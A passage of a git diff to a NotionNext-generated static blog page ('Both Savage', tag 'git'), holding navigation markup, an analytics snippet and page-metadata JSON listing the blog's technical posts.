href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"git"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"git"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff5